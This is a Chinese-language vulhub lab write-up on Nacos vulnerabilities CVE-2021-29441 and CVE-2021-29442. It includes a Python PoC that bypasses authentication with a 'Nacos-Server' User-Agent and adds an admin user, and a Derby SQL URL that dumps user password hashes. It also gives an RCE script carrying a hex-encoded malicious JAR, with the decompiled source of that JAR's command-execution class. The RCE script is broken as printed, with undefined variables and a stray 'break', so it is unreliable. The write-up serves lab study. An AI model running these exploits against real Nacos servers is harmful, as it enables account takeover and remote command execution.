vulhub-nacos

https://xz.aliyun.com/t/15151?u_atoken=a730da195c54967b1fed33a0489cba0b&u_asig=1a0c399d17309641092626154e0153

什么是nacos

Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。

https://nacos.io/zh-cn/docs/quick-start-spring.html

CVE-2021-29441(nacos认证绕过)

漏洞成因

该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。

# 开启鉴权
nacos.core.auth.enabled=true
nacos.core.auth.system.type=nacos
# 开启鉴权之后,你可以自定义用于生成JWT令牌的密钥
# The default token(Base64 String)
# 自定义密钥时,推荐将配置项设置为Base64编码的字符串,且原始密钥长度不得低于32字符。
nacos.core.auth.default.token.secret.key=
# 关闭使用user-agent判断服务端请求并放行鉴权的功能
nacos.core.auth.enable.userAgentAuthWhite=false
# 当以上两个属性这样如此设置时,以下两个属性生效
# 配置自定义身份识别的key(不可为空)和value(不可为空)
# 这两个属性是授权白名单,用于标识来自其他服务器的请求。
nacos.core.auth.server.identity.key=nacosKey
nacos.core.auth.server.identity.value=nacosValue

参考链接:

运行漏洞环境:

docker compose up -d

环境运行后,会开放3306、8848、9848、9555端口,在本次漏洞利用中,我们只需要用到8848端口,即web访问端口。执行漏洞验证过程时,请先访问8848端口,确认开放,某些情况下nacos服务会启动失败(无法连接数据库导致),可以重启nacos服务或者重启所有服务

http://192.168.174.137:8848/nacos/#/login

image-20241107161544907

漏洞利用脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys

import requests

headers = {
"User-Agent": "Nacos-Server"
}


def check(target):
endpoint = "/nacos/v1/auth/users?pageNo=1&pageSize=9"
r = requests.get(target.strip("/") + endpoint, headers=headers)
if r.status_code == 200 and "pageItems" in r.text:
print target + " has vulnerabilities"
return True
print target + "has not vulnerabilities"
return False


def add_user(target):
add_user_endpoint = "/nacos/v1/auth/users?username=vulhub&password=vulhub"

r = requests.post(target.strip("/") + add_user_endpoint, headers=headers)
if r.status_code == 200 and "create user ok" in r.text:
print "Add User Success"
print "New User Info: vulhub/vulhub"
print "Nacos Login Endpoint: {}/nacos/".format(target)
exit(1)

print "Add User Failed"


if __name__ == '__main__':
if len(sys.argv) != 2:
print "Please specify the target: python poc.py http://xxxxx:8848"
exit(-1)
if check(sys.argv[1]):
add_user(sys.argv[1])

image-20241107162122854

漏洞复现

漏洞利用过程如下:

  1. 修改User-Agent的值为Nacos-Server到请求包中
headers = {
"User-Agent": "Nacos-Server"
}
  1. 访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9查看状态码是否为200,且内容中是否包含`pageItems`
def check(target):
endpoint = "/nacos/v1/auth/users?pageNo=1&pageSize=9"
r = requests.get(target.strip("/") + endpoint, headers=headers)
if r.status_code == 200 and "pageItems" in r.text:
print target + " has vulnerabilities"
return True
print target + "has not vulnerabilities"
return False
  1. 使用POST方式访问http://target:8848/nacos/v1/auth/users?username=vulhub&password=vulhub添加一个新用户
  2. 访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9获取已有的用户列表
def add_user(target):
add_user_endpoint = "/nacos/v1/auth/users?username=vulhub&password=vulhub"

r = requests.post(target.strip("/") + add_user_endpoint, headers=headers)
if r.status_code == 200 and "create user ok" in r.text:
print "Add User Success"
print "New User Info: vulhub/vulhub"
print "Nacos Login Endpoint: {}/nacos/".format(target)
exit(1)

print "Add User Failed"
  1. 访问http://target:8848/nacos/,使用添加的新用户(vulhub/vulhub)进行登录

image-20241107162440039

CVE-2021-29442(未授权接口RCE)

漏洞成因

Nacos 是一个设计用于动态服务发现、配置和服务管理的易于使用的平台。

在Nacos 1.4.1之前的版本中,一些API端点(如/nacos/v1/cs/ops/derby)可以默认没有鉴权,可以被未经身份验证的用户公开访问。攻击者可以利用该漏洞执行任意Derby SQL语句和 Java 代码。

nacos带有一个嵌入式的小型数据库derby,而在版本<=1.4.0的默认配置部署nacos的情况下,它无需认证即可被访问,并执行任意sql查询,导致敏感信息泄露,后上周的所谓Nacos最新oday,其实也就是利用的同一个接口。
而CVE-2021-29442是因为最开始开发者没有为这个内存型数据库接口配置任何的访问控制引发的。

参考资料:

漏洞复现

先启动服务,访问验证

docker-compose up -d

可以直接访问相关接口验证漏洞是否存在

http://192.168.174.137:8848/nacos/v1/cs/ops/derby?sql=select%20*%20from%20users%20

image-20241107171316107

可以看到用户名和相应的密码,也可以进一步解密, 因为加密算法是公开的

package com.alibaba.nacos.console.utils;

import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;

/**
* Password encoder tool.
*
* @author nacos
*/
public class PasswordEncoderUtil {

public static void main(String[] args) {
System.out.println(new BCryptPasswordEncoder().encode("nacos"));
}

public static Boolean matches(String raw, String encoded) {
return new BCryptPasswordEncoder().matches(raw, encoded);
}

public static String encode(String raw) {
return new BCryptPasswordEncoder().encode(raw);
}
}

Nacos用到了security的BCryptPasswordEncoder加密器进行加密,这种加密算法使用哈希算法+随机盐来对字符串加密,对相同的内容多次加密出来的结果不一样却又能校验成功,这样更能保证密码不被破解。BCryptPasswordEncoder提供了encode方法用来对明文进行加密,matches方法用来校验明文密码和密文是否匹配

这里直接利用官方给出的脚本和jar包

python poc.py -t http://192.168.174.137:8848 -c "id"

image-20241108154919466

poc.py

import random
import sys
import requests
from urllib.parse import urljoin
import argparse


def exploit(target, command):
removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')

hex_jar = '504b03040a000008000033b9f058000000000000000000000000090000004d4554412d494e462f504b030414000008080033b9f058fcfe28795000000051000000140000004d4554412d494e462f4d414e49464553542e4d46f34dcccb4c4b2d2ed10d4b2d2acecccfb35230d433e0e5722e4a4d2c494dd175aab452f04d2c4bcd53f0720c5208c8294dcfcc5330d63306a9712acdcc49d1f54ac9d60d2e484d066a34e4e5e2e50200504b03040a0000080000cfaaef5800000000000000000000000004000000636f6d2f504b03040a000008000097b0f0580000000000000000000000000c000000636f6d2f747267616e64612f504b03040a000008000033b9f0580000000000000000000000000f0000004d4554412d494e462f6d6176656e2f504b03040a000008000033b9f0580000000000000000000000001b0000004d4554412d494e462f6d6176656e2f636f6d2e747267616e64612f504b03040a000008000033b9f058000000000000000000000000230000004d4554412d494e462f6d6176656e2f636f6d2e747267616e64612f726567656f72672f504b030414000008080033b9f0589475fc2c7b040000720800000a000000457865632e636c6173738d555b535b5514fe4e48b20f87700b0448e90d6bdb700958b55a435b2d6d6ab1e162a060506b4f4e4ee04048e2c909975ab53ae38ce33ff0c5195fe4b5be848eccf8d8077f8ccf3e15bf7d02210c716c26b3f75e6b7dfb5b6bafb5d7d97fbdfce34f006fe37b0daf6352e0230d1e4caab8af22a1610ad32a6634dcc1ac8a8f3524312787790d713c1058d0d08a45814f34b423258725b9fd5381cf043ed7d02d191f6ae8c1171abaf0486a7429ea02690143c369e92b2367531ab37295951c598165811505feeb56de726e2a688a0c2e28f0de2e644c05ed092b6f4e97d7d3a63dafa773d404130543cf2de8b625e503a5d759b14ae448c4b74c639cb2c959c1a5486255dfd0c7727a7e796cceb1adfcf2f8e049950261ace876c974247d03b3bf509ad6d7e947292ae8aa43ccda05c32c950869caca0042559b55189bcc17cb0e094c7d5d5aad92ada0bf913569ea19d326c69326a4af06992867b3a66d666a766f8ea9602c9bb6e59884f6d4a0d538175dbd3c4c91a20b390a6756aa6a08c5acd9dc63c4b70cb3e85885bc0cd558cfc860b2b560ea72510d8aa8d6394737d6a6f4a25b00014b6055604d81365728db8679d792656996e5189524015cc425c6dc985081afec64a3d7187ba1349a67aa057201ac234acda295cf14364b01e4516078cbe9358162005fc20e6004d43b282b08ff676aa5eb8d43d727122bad9b016c613b80c7f88ae56d901605dd8d727d083e9e5fc9f82480aff14d00dfca43d7409333758cbd275361e53292d41f4f2667923119cfd300bec3366b1f77ef73c7d19e99f4aa6938c754551a059d27ee677d0c47e939be79bbe49854b52c9b0e77154ddba15fade4e8b6535ab41c7668a851372d1df3972ce71d4b368a469a9a108ad437dd819a97e8f2ffb4e75177b591ee58e4bd8794275a6d28d2d0d0c013bf325d47e0833e935a953b3209b7dbba230dbf177ebd5834f3ec939157fac2d4daa6cedf41334a7fed6ec3ba1d356feb06ddf6451a76ae04fb8c5ca14448f4153dbb978aae55a75055610017f806c89f078aec4b8e97298d715638fb8676a1fcee9a231cfdae52c520c7401580210c736e66ff45ab9b3d7e782903bfedc193da455322e89d0afa9ec33f1d7d81f6685054a0fe0c7fb079ea39b4a10a5a62deb0b78240ccb787d654d837b28bb6987f0feda9b07f171d31a1c4d4303775a662ea0bb40e87d50a828b3bfb7fefe0d6d41ebae92334bd879e547417bd31ef8824eb8b5610968b533bf049e2d3449d099eade01c2de7395530f06cb882d79ef16c2a1ec1e06bf5043fe047f4a3c93ded125f2da085d6568e6de8e46377161d4c5a90a7eec215be5e3710c23de2eea3170be823cf45329d42862c393e6c1b3843d673788af3e41ec04f4cf7af4cb3cce063e6b0050f30ca747bc83e8337b86a22f73be47e9359bc42f92dbed43efab980abd4fbe9ad0fefe21a047d86f01e112a3d5d450ce3dcbbc16a5c27dacb086ee026de27332b810f889395fb05b730c13adda6f410e22506043c0277f8df6750cdeef240211017b82bd02ad04e11d8e781ab36924e0874edf334bec32d5d02dd82a95004fa957fe4021fba37e7debf504b030414000008080058aaef5840b75f2d53010000eb0200002a0000004d4554412d494e462f6d6176656e2f636f6d2e747267616e64612f726567656f72672f706f6d2e786d6c8d91cd6ec2301084ef3c45947bec507a40c8b5d443ab56828204ad7a35f636982676643b84be7d6d879fe440d55b76f6db9df186d446ef81bbe45895ca3ea43be7ea19c6153b8042ac667c07489b02af960b7c8f7294a71d393b5a79a1dbb645ed247277793ec69f8bf9da0f562c93ca3aa638a4a324f113331be5b9e6cc49adfe6197dc228e5674621639e4eb947a17526901e50718eb0d68ec113cd046812a8c6eea5741b9ae9033055382117c1603c08c935f8c3b5f1a28c05b12dcd30272382d1ca33c5bbf3daed62fcb0dc16735103eee372ba42ae89e1982af65cca05805d7e5b10a72634a7ae3d50487661cf6ffad069f076c18ea84f023d1b691a540563786c393e25a04bff7cd7336f501fe62c256dc5f1b04013528018a5f8d2ed24f27f4aeb96f9474833bc676ef6e276278c9089def364153341e9c31b62df7c1a803eba7bbef2e0d1ec6e9d531f1e5cd74f40b504b0304140000080800ca82f0586a0b6b6f3c0000003c000000310000004d4554412d494e462f6d6176656e2f636f6d2e747267616e64612f726567656f72672f706f6d2e70726f706572746965734b2c2ac94c4b4c2ef14cb12d4a4d4fcd2f4ae74a2fca2f2d00f293f373f54a8ad213f35212b9ca528b8a33f3f36c0df50c7483fd1c03823dfc43b800504b010214030a000008000033b9f058000000000000000000000000090000000000000000001000ed41000000004d4554412d494e462f504b0102140314000008080033b9f058fcfe28795000000051000000140000000000000000000000a481270000004d4554412d494e462f4d414e49464553542e4d46504b010214030a0000080000cfaaef58000000000000000000000000040000000000000000001000ed41a9000000636f6d2f504b010214030a000008000097b0f0580000000000000000000000000c0000000000000000001000ed41cb000000636f6d2f747267616e64612f504b010214030a000008000033b9f0580000000000000000000000000f0000000000000000001000ed41f50000004d4554412d494e462f6d6176656e2f504b010214030a000008000033b9f0580000000000000000000000001b0000000000000000001000ed41220100004d4554412d494e462f6d6176656e2f636f6d2e747267616e64612f504b010214030a000008000033b9f058000000000000000000000000230000000000000000001000ed415b0100004d4554412d494e462f6d6176656e2f636f6d2e747267616e64612f726567656f72672f504b0102140314000008080033b9f0589475fc2c7b040000720800000a0000000000000000000000a4819c010000457865632e636c617373504b0102140314000008080058aaef5840b75f2d53010000eb0200002a0000000000000000000000a4813f0600004d4554412d494e462f6d6176656e2f636f6d2e747267616e64612f726567656f72672f706f6d2e786d6c504b01021403140000080800ca82f0586a0b6b6f3c0000003c000000310000000000000000000000a481da0700004d4554412d494e462f6d6176656e2f636f6d2e747267616e64612f726567656f72672f706f6d2e70726f70657274696573504b0506000000000a000a00ab020000650800000000'

headers = {
"User-Agent": "Nacos-Server"
}

get_sql = f"SELECT * FROM (SELECT COUNT(*) AS b, S_EXAMPLE_{id}('{command}') AS a FROM config_info) tmp"
files = {'file': post_sql}
post_resp = requests.post(url=removal_url, files=files, headers=headers)
post_json = post_resp.json()
if post_json.get('message', None) is None and post_json.get('data', None) is not None:
print(post_resp.text)
get_resp = requests.get(url=derby_url, params={'sql': get_sql})
print(get_resp.text)
break
def main():
parser = argparse.ArgumentParser(description='Exploit script for Nacos CVE-2021-29442')
parser.add_argument('-t', '--target', required=True, help='Target URL')
parser.add_argument('-c', '--command', required=True, help='Command to execute')

args = parser.parse_args()

exploit(args.target, args.command)


if __name__ == '__main__':
main()

就是利用sql来写入可以执行指令的jar包,那个hex_jar的源码如下

package defpackage;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.io.StringWriter;

/* renamed from: Exec reason: default package */
public class Exec {
public static String exec(String cmd) {
StringBuffer bf = new StringBuffer();
String charset = "utf-8";
try {
String osName = System.getProperty("os.name");
if (osName != null && osName.startsWith("Windows")) {
charset = "gbk";
}
BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream(), charset));
while (true) {
String line = br.readLine();
if (line == null) {
return bf.toString();
}
bf.append(line);
}
} catch (Exception e) {
StringWriter writer = new StringWriter();
PrintWriter printer = new PrintWriter(writer);
e.printStackTrace(printer);
try {
writer.close();
printer.close();
} catch (IOException e2) {
}
return "ERROR:" + writer.toString();
}
}
}

这段 Java 代码定义了一个 Exec 类,它提供了一个方法 exec 来执行操作系统命令,并将命令输出作为字符串返回。以下是代码的详细解析:

代码功能

  • exec(String cmd)

    :

    • 接收一个字符串参数 cmd,代表需要执行的操作系统命令。
    • 通过 Runtime.getRuntime().exec(cmd) 执行命令。
    • 读取命令的标准输出,并将其以字符串形式返回。
    • 如果发生异常,会捕获并返回错误信息。

代码解析

1. 设置字符集
String charset = "utf-8";
String osName = System.getProperty("os.name");
if (osName != null && osName.startsWith("Windows")) {
charset = "gbk";
}
  • 默认字符集为 UTF-8。
  • 如果操作系统是 Windows,则将字符集切换为 GBK(Windows 下常用字符集)。
2. 执行命令
BufferedReader br = new BufferedReader(
new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream(), charset)
);
  • Runtime.getRuntime().exec(cmd) 执行 cmd 命令。
  • 使用 BufferedReader 包装命令的标准输出流,按行读取输出结果。
3. 读取命令输出
while (true) {
String line = br.readLine();
if (line == null) {
return bf.toString();
}
bf.append(line);
}
  • 不断读取命令输出,直到流中没有更多数据 (readLine() 返回 null)。
  • 将每一行追加到 StringBuffer 中。
4. 异常处理
} catch (Exception e) {
StringWriter writer = new StringWriter();
PrintWriter printer = new PrintWriter(writer);
e.printStackTrace(printer);
try {
writer.close();
printer.close();
} catch (IOException e2) {
}
return "ERROR:" + writer.toString();
}
  • 捕获执行过程中可能抛出的任何异常。
  • 使用 StringWriterPrintWriter 捕获异常栈信息,将其返回以供调试。

漏洞利用函数:exploit

def exploit(target, command):
removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
  • 定义两个 URL,分别用于数据操作和数据库查询:
    • **removal_url**:用于上传恶意文件。
    • **derby_url**:用于执行 SQL 查询。

上传恶意 JAR 文件

files = {'file': post_sql}
post_resp = requests.post(url=removal_url, files=files, headers=headers)
  • removal_url 上传了一个伪造的 JAR 文件(存储在 hex_jar 中的 Base64 数据)。

执行 SQL 注入命令

get_sql = f"SELECT * FROM (SELECT COUNT(*) AS b, S_EXAMPLE_{id}('{command}') AS a FROM config_info) tmp"
get_resp = requests.get(url=derby_url, params={'sql': get_sql})
  • 利用 SQL 语句执行命令,将结果存储在数据库中并检索。